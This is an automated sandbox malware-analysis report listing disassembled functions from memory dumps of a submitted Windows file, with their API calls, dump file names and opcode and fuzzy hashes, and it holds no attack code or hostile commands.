                                                    Function 00007FF6399CB8B0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: FileWrite$ConsoleErrorLastOutput
                                                    • String ID:
                                                    • API String ID: 2718003287-0
                                                    • Opcode ID: 0739f85a4d911baae0561c1f2f5b651aa469f8b70ac1dc09fd50f765aaaafbc7
                                                    • Instruction ID: 522991cfb172185b3d0181259fdc16485db0645afec835f0a40e5d5d2d729499
                                                    • Opcode Fuzzy Hash: 0739f85a4d911baae0561c1f2f5b651aa469f8b70ac1dc09fd50f765aaaafbc7
                                                    • Instruction Fuzzy Hash: C3D1E372F48A8289E711CF69D8402AC37B2FB54798B184235CE5E97BDEDE38D516DB00
                                                    Function 00007FF6399CC270 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6399CC25B), ref: 00007FF6399CC38C
                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6399CC25B), ref: 00007FF6399CC417
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ConsoleErrorLastMode
                                                    • String ID:
                                                    • API String ID: 953036326-0
                                                    • Opcode ID: 76adbd728b317254a89cb4c791728419eb9f151af89ead0c9a06842c56e3605f
                                                    • Instruction ID: 556f40c70d83627847319ecf1d1fc412200c3595e18f3c8243bdcbd8c870ccb9
                                                    • Opcode Fuzzy Hash: 76adbd728b317254a89cb4c791728419eb9f151af89ead0c9a06842c56e3605f
                                                    • Instruction Fuzzy Hash: E391A672F0865295F750CF65988027D6BA2BB44F88F584539DE0E96BCEEE38E441EF10
                                                    Function 00007FFDFF199834 Relevance: 6.2, APIs: 4, Instructions: 195COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID:
                                                    • API String ID: 2943138195-0
                                                    • Opcode ID: 164514f8c0eb76063aac432d0361355c4139350aa8a9d8427b603af64556775f
                                                    • Instruction ID: a4f07a95778947931502e104a9db1054c667f3aa76ce35a306d1ad87d3338483
                                                    • Opcode Fuzzy Hash: 164514f8c0eb76063aac432d0361355c4139350aa8a9d8427b603af64556775f
                                                    • Instruction Fuzzy Hash: 3AA16623F18A4699EB218F60D460BB837A0EB8570CF848235DA7E576DDDF789A45C380
                                                    Function 00007FFE1A49A058 Relevance: 6.2, APIs: 4, Instructions: 193COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID:
                                                    • API String ID: 2943138195-0
                                                    • Opcode ID: 648336d396e82ff845145f22116d02ab074a94aa94e21a1e761fb2f6b175ab31
                                                    • Instruction ID: 830a68877991548a580b63923dfe499ca34348eb5150060fdcae888c822ad143
                                                    • Opcode Fuzzy Hash: 648336d396e82ff845145f22116d02ab074a94aa94e21a1e761fb2f6b175ab31
                                                    • Instruction Fuzzy Hash: 66915266F08A5289FB318F62D4413BC37A1BB48B28F5441F7DA4E176A5DF3C9466C340
                                                    Function 00007FFE1A49A814 Relevance: 6.1, APIs: 4, Instructions: 133COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+$NameName::
                                                    • String ID:
                                                    • API String ID: 168861036-0
                                                    • Opcode ID: 98efd56155e24b1ceec94087ea0ccb087ffd731ce7e45ec66b02000ff67e82c1
                                                    • Instruction ID: ce46d47f4568633d36b52eda8d2fd54de38ff0eeb6a0614e7fdce67b0a8b2ada
                                                    • Opcode Fuzzy Hash: 98efd56155e24b1ceec94087ea0ccb087ffd731ce7e45ec66b02000ff67e82c1
                                                    • Instruction Fuzzy Hash: B1514A72B18E6689EB31CF26D8417BD37A0BB48F64F5444B2DA1E077A5DF399462C700
                                                    Function 00007FFDFF200D30 Relevance: 6.1, APIs: 4, Instructions: 114pipeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1A4BC8), ref: 00007FFDFF200D63
                                                    • GetFileInformationByHandle.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1A4BC8), ref: 00007FFDFF200DC5
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1A4BC8), ref: 00007FFDFF200E3C
                                                    • PeekNamedPipe.API-MS-WIN-CORE-NAMEDPIPE-L1-1-0 ref: 00007FFDFF200E88
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: File$ErrorHandleInformationLastNamedPeekPipeType
                                                    • String ID:
                                                    • API String ID: 2780335769-0
                                                    • Opcode ID: fc1fac4533829cd9723f662f28ef85f4d77736735aed57f6637f7326f1a08d06
                                                    • Instruction ID: 16055bff3826422b4568be43cbea6bbfade2caed42767f80399ffb79c666c1b2
                                                    • Opcode Fuzzy Hash: fc1fac4533829cd9723f662f28ef85f4d77736735aed57f6637f7326f1a08d06
                                                    • Instruction Fuzzy Hash: 6F415723F086418AFB50DFA1D4A0BBD27A1EB48B88F188635EE69D779DDF38D4418340
                                                    Function 00007FFE1A49CC48 Relevance: 6.1, APIs: 4, Instructions: 86COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+$Replicator::operator[]
                                                    • String ID:
                                                    • API String ID: 3863519203-0
                                                    • Opcode ID: 59a8e1a8bea4fa0d3053ac7b282f3cf586ef513a0d49dabd13085b0ba4a6c699
                                                    • Instruction ID: e0896b3b4cb292e2a1ed9b4fb8cf11f72f2f837d43740d967ddc138dccf40efd
                                                    • Opcode Fuzzy Hash: 59a8e1a8bea4fa0d3053ac7b282f3cf586ef513a0d49dabd13085b0ba4a6c699
                                                    • Instruction Fuzzy Hash: 22416672B04B95C9FB21CF65D8403BC3BA0BB49B68F5481A6DA4E5776ADF3C9861C340
                                                    Function 00007FFDFF19BDC0 Relevance: 6.1, APIs: 4, Instructions: 85COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID:
                                                    • API String ID: 2943138195-0
                                                    • Opcode ID: 7ed4d0ccd550d876c0167e010eb9912fd4c0e746c049cf95e263a209b0ccf72f
                                                    • Instruction ID: 07e1bb827878181f9280cf5e91a97c98d0095984c1eb1bc4247c0fcd2903413f
                                                    • Opcode Fuzzy Hash: 7ed4d0ccd550d876c0167e010eb9912fd4c0e746c049cf95e263a209b0ccf72f
                                                    • Instruction Fuzzy Hash: F3416573E08B49C9EB21CF64E4A07AC37A0B744B4CF548225DB6D977A9DB389540C790
                                                    Function 00007FFE14633BA8 Relevance: 6.1, APIs: 4, Instructions: 75threadtimeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Eval_Thread$RestoreSaveTime_Timeval_clampselect
                                                    • String ID:
                                                    • API String ID: 3905867726-0
                                                    • Opcode ID: 947ac965c37a758a9fa8a6c53622192885134dfb450c88c4b3ce8717958678c4
                                                    • Instruction ID: 9ec62d79bffdbb369e93d6cab4097e6dfbdb941b4dde29ec2a6dc3a4cfc682b8
                                                    • Opcode Fuzzy Hash: 947ac965c37a758a9fa8a6c53622192885134dfb450c88c4b3ce8717958678c4
                                                    • Instruction Fuzzy Hash: BA319C72B08FC286D7608F16A8843A563A0FB89BBCF540175DA5D477A4DF3DD4598740
                                                    Function 00007FFDFF175B90 Relevance: 6.1, APIs: 4, Instructions: 63threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFDFF175C2C: GetModuleHandleExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF175BB8,?,?,?,?,?,00007FFDFF16F126), ref: 00007FFDFF175C70
                                                    • CreateThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,?,?,?,00007FFDFF16F126), ref: 00007FFDFF175BE1
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,00007FFDFF16F126), ref: 00007FFDFF1AFD3D
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: CreateErrorHandleLastModuleThread
                                                    • String ID:
                                                    • API String ID: 182981130-0
                                                    • Opcode ID: 89bc01ccb25fcbf5eaca3e32c8da274664b9296c0f32c6cf4ca3c541ca0813c3
                                                    • Instruction ID: aa32ee59cd7c33a5cbce4ffe8b2a8722f3b684b96b8e4d45ac3bc9ef77996da8
                                                    • Opcode Fuzzy Hash: 89bc01ccb25fcbf5eaca3e32c8da274664b9296c0f32c6cf4ca3c541ca0813c3
                                                    • Instruction Fuzzy Hash: 71216D27F0D74282EF159B25A42097963A4AF94B90F140A35DA7E877DDDF3CE440C640
                                                    Function 00007FFDFF165D29 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLastValue$__security_init_cookie
                                                    • String ID:
                                                    • API String ID: 2363391822-0
                                                    • Opcode ID: c92e84237869a2f46d1d11d4e6de887c950120c8ddf7338526ec6e053cba76b7
                                                    • Instruction ID: 4a29b3b325b0b510ce0ac7083448888004aaf4d80d134757a5e5e4418f9cd003
                                                    • Opcode Fuzzy Hash: c92e84237869a2f46d1d11d4e6de887c950120c8ddf7338526ec6e053cba76b7
                                                    • Instruction Fuzzy Hash: E911D332F0868286EB145B25E9648786361BF85BA0F184330EA7D437DDDF3CE8519700
                                                    Function 00007FFDFF201C98 Relevance: 6.1, APIs: 4, Instructions: 54COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FFDFF201E12,?,?,?,?,00007FFDFF1AC91D), ref: 00007FFDFF201CD2
                                                    • FlushFileBuffers.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FFDFF201E12,?,?,?,?,00007FFDFF1AC91D), ref: 00007FFDFF201D03
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF201E12,?,?,?,?,00007FFDFF1AC91D), ref: 00007FFDFF201D0F
                                                      • Part of subcall function 00007FFDFF168790: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF16879F
                                                      • Part of subcall function 00007FFDFF168790: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF1687AD
                                                      • Part of subcall function 00007FFDFF168790: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF1687C1
                                                      • Part of subcall function 00007FFDFF168790: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF1687E1
                                                    • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FFDFF201E12,?,?,?,?,00007FFDFF1AC91D), ref: 00007FFDFF201D45
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$CriticalSectionValue$BuffersEnterFileFlushLeave
                                                    • String ID:
                                                    • API String ID: 2707087786-0
                                                    • Opcode ID: 2a7ed216b7cfd1984dbd8887526881ef661654935faad841d6089f9f7dfe2dda
                                                    • Instruction ID: 4c688013bf391e4c0d6f11a7078ebc584b26891ec00d29ff877cae999b5e714f
                                                    • Opcode Fuzzy Hash: 2a7ed216b7cfd1984dbd8887526881ef661654935faad841d6089f9f7dfe2dda
                                                    • Instruction Fuzzy Hash: E4219072B24F8692DF10DF59E4A45696361FB98F84B845231DB2E873A9DF3CE155C300
                                                    Function 00007FF6399B2030 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: LongWindow$DialogInvalidateRect
                                                    • String ID:
                                                    • API String ID: 1956198572-0
                                                    • Opcode ID: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
                                                    • Instruction ID: 603266708baba3f9ddabf25398ad0796a066ed683afdfd336174356a0526ee19
                                                    • Opcode Fuzzy Hash: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
                                                    • Instruction Fuzzy Hash: 1C11A921E0814642FA559F69E5842BD52A3EF99B80F8C8031DE498BBDFCD3DD4C1AB40
                                                    Function 00007FFE14634CA4 Relevance: 6.0, APIs: 4, Instructions: 43threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Eval_Thread$Err_RestoreSaveStringgetsocknamememset
                                                    • String ID:
                                                    • API String ID: 772546412-0
                                                    • Opcode ID: 1577330f62de6ded43e8dddc616ca128f006a8c56b02915f3c7181489a52fc15
                                                    • Instruction ID: 99282031e05f6cfd70b5d2ff0a6273c00fb675d75f367914814851ffa7f67a6a
                                                    • Opcode Fuzzy Hash: 1577330f62de6ded43e8dddc616ca128f006a8c56b02915f3c7181489a52fc15
                                                    • Instruction Fuzzy Hash: BD11242561CFC282EA709B53F4803AAA361FF85798F004172DA8E07B65DF3CE1498740
                                                    Function 00007FF6399BC330 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                    • String ID:
                                                    • API String ID: 2933794660-0
                                                    • Opcode ID: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
                                                    • Instruction ID: dcbf818b759eaf3a0385295f69b01b73c162a66eee838043a4dd22f3f8bae4f1
                                                    • Opcode Fuzzy Hash: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
                                                    • Instruction Fuzzy Hash: 33117022B14F068AEB00CF60E8442B933A4FB69758F481E35DA2D877ADDF7CD5548740
                                                    Function 00007FFDFF16878E Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF16879F
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF1687AD
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF1687C1
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF1687E1
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF16880B
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF168834
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF168846
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: ab028f74ab3c42266c8993aa2a8dbaa1908713946646ff6fb84434c437b9511d
                                                    • Instruction ID: 5d55e64824edd95689692488424a26603f30bd0df5a360e4fb87267f7869749e
                                                    • Opcode Fuzzy Hash: ab028f74ab3c42266c8993aa2a8dbaa1908713946646ff6fb84434c437b9511d
